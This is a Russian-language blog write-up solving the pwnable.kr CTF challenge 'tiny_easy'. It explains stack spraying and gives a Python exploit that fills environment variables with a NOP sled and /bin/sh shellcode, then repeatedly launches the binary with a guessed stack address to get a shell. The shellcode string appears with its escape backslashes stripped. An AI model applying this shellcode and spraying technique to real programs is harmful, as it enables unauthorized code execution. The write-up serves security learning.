Решение задания с pwnable.kr 27 — tiny_easy. Разбираемся с Stack spraying

в 8:44, , рубрики: ctf, pwn, pwnable.kr, python, ralf_pwn, информационная безопасность
image

В данной статье решим 27-е задание с сайта pwnable.kr и разберемся с тем, что же такое Stack spraying.

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Решение задания tiny_easy

Нажимаем на иконку с подписью tyni_easy. Нам дают адрес и порт для подключения по ssh.

image

Подключаемся по SSH и видим флаг и программу уже без исходного кода.

image

В результате проверки файла узнаем, что у него нет никакой защиты.

image

Загрузим программу в дизассемблер. Файл очень мал и выполняет всего несколько инструкций.

image

В самом начале программа извлекает из стека значение в регистр EAX, после чего извлекает еще одно в EDX и передает управление на этот адрес. Но что расположено в стеке в самом начале программы? В стеке в этот момент распологаюся те самые argc (число аргументов программы), argv(указатель на массив аргументов программы) и envp(указатель на массив перемен окружения).

image

Таким образом в EDX будет помещен адрес на первый элемент массива аргументов программы, то есть на полный путь к запускаемому файлу! Потому пытаясь выпонить его как код, приложение должно упасть. Если проверить, то так и выходит.

image

Stack spraying — это атака, использующая ошибки в работе с памятью приложения, которая заставляет приложение выделить память под большое количество объектов, содержащих вредоносный код. При этом повышается вероятность успеха эксплойта, который переносит поток исполнения на некоторую позицию внутри. Важно понимать, что без эксплойта, позволяющего изменять поток исполнения, данная атака не нанесет какого-либо вреда. Атака основана на предсказуемости адреса в адресном пространстве процесса.

При создании процесса в операционной системе под его нужды выделяется адресное пространство, в котором расположены пользовательские данные, исполняемый код и некоторая системная информация, которая зависит от конкретной операционной системы. Так, в сегменте стека хранятся переменные с автоматическим классом размещения, а также информация, которая сохраняется при каждом вызове функции, например, статические переменные и адрес возврата при вызове функции. В случае stack spraying мы оперируем переменными окружения, в которых и располагается эксплоит.

Таким образом мы можем расположить шеллкод в переменных окружения на стеке. Но перед ним сделаем много nop операций, так как врядли мы сможет точно попасть на нужный адрес.

import os
import subprocess

payload =  "x90"*4096 + "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxffxff/bin/sh"

В так как программа запускается с адреса 0xff******, то возьмем рандомный адрес для стека из этого окружения, к примеру 0xffbbbbbb.

addr = "xb0xafxb5xff"

Теперь сделаем несколько переменных окружения с нашим шеллкодом, чтобы вероятнрсть попасть на него была выше.

envs = {}
for i in range(0,100):  
    envs["env"+str(i)] = payload

И несколько раз запускаем программу с нашими параметрами.

while True:
	p = subprocess.Popen([addr], executable="/home/tiny_easy/tiny_easy", env=envs)
	p.wait()

После запуска полного кода получим шелл.

image

Дальше больше… Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Автор: Ральф Фаилов

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js